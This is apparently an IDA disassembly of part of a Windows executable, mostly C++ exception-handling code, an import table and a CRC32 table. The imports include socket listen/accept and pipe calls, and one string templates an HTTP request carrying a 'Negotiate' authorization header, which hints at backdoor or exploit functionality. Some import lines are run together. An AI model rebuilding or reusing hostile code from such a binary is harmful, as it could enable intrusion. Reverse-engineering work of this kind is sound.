; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE0B	proc near		; DATA XREF: seg001:0041CC3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41AE44
		lea	eax, [ebp+var_1C]
		push	offset dword_41CF78
		push	eax
		call	sub_41B08B


loc_41AE28:				; DATA XREF: seg001:off_41CC34o
		push	esi
		mov	esi, ecx
		call	sub_41ADCE
		test	[esp+20h+var_18], 1
		jz	short loc_41AE3E
		push	esi
		call	sub_41119B
		pop	ecx


loc_41AE3E:				; CODE XREF: sub_41AE0B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41AE0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AE44	proc near		; CODE XREF: sub_41AE0B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AD71
		mov	dword ptr [esi], offset	off_41CC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41AE44	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE5C	proc near		; CODE XREF: sub_402626+13p
					; sub_4027EA+Ep
		mov	eax, offset loc_41B188
		call	sub_41117C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402779
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_410A70
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027B5
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41AC8A
		lea	eax, [ebp-3Ch]
		push	offset dword_41D0A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41CC64
		call	sub_41B08B
		pop	esi
sub_41AE5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AEB6	proc near		; CODE XREF: sub_41AEF3+20p
					; DATA XREF: seg001:0041D0A4o
		mov	eax, offset loc_41B19C
		call	sub_41117C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402779
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B037
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41AEB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEF3	proc near		; DATA XREF: seg001:0041CC6Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41AF2C
		lea	eax, [ebp+var_1C]
		push	offset dword_41D0A0
		push	eax
		call	sub_41B08B


loc_41AF10:				; DATA XREF: seg001:off_41CC64o
		push	esi
		mov	esi, ecx
		call	sub_41AEB6
		test	[esp+20h+var_18], 1
		jz	short loc_41AF26
		push	esi
		call	sub_41119B
		pop	ecx


loc_41AF26:				; CODE XREF: sub_41AEF3+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41AEF3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AF2C	proc near		; CODE XREF: sub_41AEF3+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AD71
		mov	dword ptr [esi], offset	off_41CC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41AF2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF44	proc near		; DATA XREF: seg002:0041E008o

; FUNCTION CHUNK AT 0041AF7A SIZE 0000000C BYTES

		test	ds:byte_45EE00,	1
		jnz	short loc_41AF54
		or	ds:byte_45EE00,	1


loc_41AF54:				; CODE XREF: sub_41AF44+7j
		call	sub_41AF6E
		test	ds:byte_460198,	1
		jnz	short loc_41AF69
		or	ds:byte_460198,	1


loc_41AF69:				; CODE XREF: sub_41AF44+1Cj
		jmp	loc_41AF7A
sub_41AF44	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF6E	proc near		; CODE XREF: sub_41AF44:loc_41AF54p
		push	offset nullsub_1
		call	sub_411560
		pop	ecx
		retn
sub_41AF6E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AF44


loc_41AF7A:				; CODE XREF: sub_41AF44:loc_41AF69j
		push	offset nullsub_1
		call	sub_411560
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41AF44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AF88	proc near		; CODE XREF: sub_401EC6+5Ep
					; sub_40295F+159p
		jmp	ds:dword_41C1E4
sub_41AF88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AF8E	proc near		; CODE XREF: sub_410DE8+23p
					; sub_41108C+13p
		jmp	ds:dword_41C148
sub_41AF8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF94	proc near		; DATA XREF: seg001:off_41CC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41B037
		test	[esp+4+arg_0], 1
		jz	short loc_41AFAA
		push	esi
		call	sub_41119B
		pop	ecx


loc_41AFAA:				; CODE XREF: sub_41AF94+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41AF94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFB0	proc near		; CODE XREF: sub_41AC8A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41CC8C
		push	dword ptr [edi]
		call	sub_410A70
		inc	eax
		push	eax
		call	sub_4114E5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AFDF
		push	dword ptr [edi]
		push	eax
		call	sub_411AD0
		pop	ecx
		pop	ecx


loc_41AFDF:				; CODE XREF: sub_41AFB0+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41AFB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFED	proc near		; CODE XREF: sub_41AD71+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41CC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41B02A
		push	dword ptr [edi+4]
		call	sub_410A70
		inc	eax
		push	eax
		call	sub_4114E5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41B030
		push	dword ptr [edi+4]
		push	eax
		call	sub_411AD0
		pop	ecx
		pop	ecx
		jmp	short loc_41B030
; ---------------------------------------------------------------------------


loc_41B02A:				; CODE XREF: sub_41AFED+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41B030:				; CODE XREF: sub_41AFED+2Ej
					; sub_41AFED+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41AFED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B037	proc near		; CODE XREF: sub_41AD18+2Bp
					; sub_41ADCE+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41CC8C
		jz	short locret_41B04C
		push	dword ptr [ecx+4]
		call	sub_41119B
		pop	ecx

locret_41B04C:				; CODE XREF: sub_41B037+Aj
		retn
sub_41B037	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B04D	proc near		; DATA XREF: seg001:0041CC90o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41B059
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41B059:				; CODE XREF: sub_41B04D+5j
		retn
sub_41B04D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05A	proc near		; CODE XREF: seg000:0041B072p
		mov	dword ptr [ecx], offset	off_41CCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41B06E
		push	ecx
		call	sub_410B5F
		pop	ecx

locret_41B06E:				; CODE XREF: sub_41B05A+Bj
		retn
sub_41B05A	endp

; ---------------------------------------------------------------------------


loc_41B06F:				; DATA XREF: seg001:off_41CCACo
		push	esi
		mov	esi, ecx
		call	sub_41B05A
		test	byte ptr [esp+8], 1
		jz	short loc_41B085
		push	esi
		call	sub_41119B
		pop	ecx


loc_41B085:				; CODE XREF: seg000:0041B07Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B08B	proc near		; CODE XREF: sub_41AC30+54p
					; sub_41ACFB+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41CCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_41C178	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41B08B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41B0C8	proc near		; DATA XREF: seg001:0041CE7Co

; FUNCTION CHUNK AT 0040256E SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40256E
sub_41B0C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41B0E6
		mov	ecx, [ebp+8]
		jmp	loc_40256E
; ---------------------------------------------------------------------------

locret_41B0E6:				; CODE XREF: seg000:0041B0D8j
		retn
; ---------------------------------------------------------------------------


loc_41B0E7:				; DATA XREF: sub_402102o
		mov	eax, offset dword_41CE50
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40256E
; ---------------------------------------------------------------------------


loc_41B0FC:				; DATA XREF: seg001:0041CEACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40256E
; ---------------------------------------------------------------------------


loc_41B104:				; DATA XREF: sub_4022A4o
		mov	eax, offset dword_41CE80
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 10h


loc_41B110:				; DATA XREF: sub_402851o
		mov	eax, offset dword_41CEB0
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40256E
; ---------------------------------------------------------------------------


loc_41B124:				; DATA XREF: sub_41AC30o
		mov	eax, offset dword_41CF88
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_41B037
; ---------------------------------------------------------------------------


loc_41B138:				; DATA XREF: sub_41AC8Ao
		mov	eax, offset dword_41CFB0
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B037
; ---------------------------------------------------------------------------


loc_41B14C:				; DATA XREF: sub_41AD18o
		mov	eax, offset dword_41CFF8
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B037
; ---------------------------------------------------------------------------


loc_41B160:				; DATA XREF: sub_41AD71o
		mov	eax, offset dword_41D020
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B037
; ---------------------------------------------------------------------------


loc_41B174:				; DATA XREF: sub_41ADCEo
		mov	eax, offset dword_41D048
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40256E
; ---------------------------------------------------------------------------


loc_41B188:				; DATA XREF: sub_41AE5Co
		mov	eax, offset dword_41D0B0
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B037
; ---------------------------------------------------------------------------


loc_41B19C:				; DATA XREF: sub_41AEB6o
		mov	eax, offset dword_41D0D8
		jmp	loc_410E37
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 0001C000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0001C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 41C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41C000	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:0040F50Dr
		dd 7C833478h
dword_41C008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41A698+261r
dword_41C00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41A698+B9r
		dd 7C832044h, 7C812641h, 7C81DC03h, 7C80BCCFh, 7C809E01h
dword_41C024	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_4188D7+6r
dword_41C028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:00418175r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41C03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW		dd 7C80C058h, 7C80A427h, 7C82FA46h
dword_41C04C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_404CE1+32r ...
dword_41C050	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_402FDF+6Er ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41C060	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_404908r ...
dword_41C064	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:004048DAr ...
dword_41C068	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_403F88+B2r ...
		dd 7C810A77h
dword_41C070	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_403F88+25r ...
dword_41C074	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; seg000:00408918r ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41C084	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_403906+5D7r
dword_41C088	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_41C08C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; seg000:004072D1r ...
dword_41C090	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_416932+4Fr
dword_41C094	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41C098	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41C09C	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41C0A0	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_404EF5+22Fr
dword_41C0A4	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_405560:loc_405A50r ...
dword_41C0A8	dd 3E7574h						; sub_4148D2+15r ...
dword_41C0AC	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_41C0B4	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41C0B8	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
		dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_41C0F0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_41C0F4	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe		dd 7C8310F2h, 7C814EEAh
dword_41C100	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_411878+Dr
dword_41C104	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:00408767r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h
dword_41C114	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA		dd 7C802520h, 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41C128	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:00416D31r ...
dword_41C12C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_412879+54r ...
		dd 7C8216A4h, 7C801E16h
dword_41C138	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_41C140	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_41230F+AFr ...
dword_41C144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_41350B+2C4r ...
dword_41C148	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_41C154	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_413B3F+28r
		dd 7C801EEEh, 7C812F1Dh
dword_41C160	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41C164	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41C168	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41C16C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41C170	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_413BF0+51r
		dd 7C809E79h
dword_41C178	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41B08B+2Er
dword_41C17C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_41C184	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:00416C71r ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41C194	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h
dword_41C19C	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41C1A0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; seg000:004178A6r
		align 8
dword_41C1A8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_41C1AC	dd 71AB406Ah	; resolved to->WS2_32.connectdword_41C1B0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_402FDF+8Er
dword_41C1B4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_402F62+15r
dword_41C1B8	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_41C1BC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41C1C0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_402F62+41r
dword_41C1C4	dd 71AB3E00h	; resolved to->WS2_32.binddword_41C1C8	dd 71AB88D3h	; resolved to->WS2_32.listendword_41C1CC	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41C1D0	dd 71AB615Ah	; resolved to->WS2_32.recvdword_41C1D4	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402F62+68r ...
dword_41C1D8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40295F+74r ...
dword_41C1DC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40295F+E4r ...
dword_41C1E0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40295F+115r
dword_41C1E4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022A4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41C230	dq 1.388888888888889e-2	; DATA XREF: sub_4020B6+2Fr
dbl_41C238	dq 1.666666666666667e-1	; DATA XREF: sub_4020B6+15r
dword_41C240	dd 0FFFFFFFFh						; sub_402576r ...
		align 8
dbl_41C248	dq 1.333333333333333	; DATA XREF: sub_402102+79r
dword_41C250	dd 0							; sub_402626+5Bo ...
dword_41C254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41C658	dq 9.765625e-4		; DATA XREF: seg000:0040809Ar
					; seg000:004080B5r ...
dbl_41C660	dq -3.0517578125e-5	; DATA XREF: sub_40F2FE+1Er
dbl_41C668	dq 1.0			; DATA XREF: sub_410B8E+6Cr
					; sub_410CD7+6Cr ...
dword_41C670	dd 0FFFFFFFFh, 412A4Fh,	412A63hbyte_41C67C	db 6			; DATA XREF: sub_412BCC:loc_412C23r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_42D81Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_42D818o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_42DA44o
		align 8
dbl_41C7A8	dq 0.0			; DATA XREF: sub_41437F+8Cr
					; sub_41437F+ACr ...
dbl_41C7B0	dq 4.195835e6		; DATA XREF: sub_414894+Fr
dbl_41C7B8	dq 3.145727e6		; DATA XREF: sub_414894+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4148D2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4148D2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4149F9+93o
		align 10h
dword_41C7F0	dd 0FFFFFFFFh, 4150E4h,	4150EEh, 0dword_41C800	dd 0FFFFFFFFh, 0		dd offset loc_41526A
		align 10h
		dd offset sub_415248
		dd offset sub_415252
dword_41C818	dd 0FFFFFFFFh, 41549Ah,	41549Eh, 0dword_41C828	dd 0FFFFFFFFh, 4154FCh,	415505h, 0dword_41C838	dd 0FFFFFFFFh, 0		dd offset loc_4155CD
		align 8
		dd offset loc_4155B9
		dd offset loc_4155BD
dword_41C850	dd 0FFFFFFFFh, 0		dd offset loc_415623
		align 10h
		dd offset loc_41560F
		dd offset loc_415613
dword_41C868	dd 2 dup(0)						; seg000:00418081o ...
dword_41C870	dd 0FFFFFFFFh, 416C34h,	416C38h, 0FFFFFFFFh, 416CE8h, 416CECh
					; DATA XREF: seg000:00416B29o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
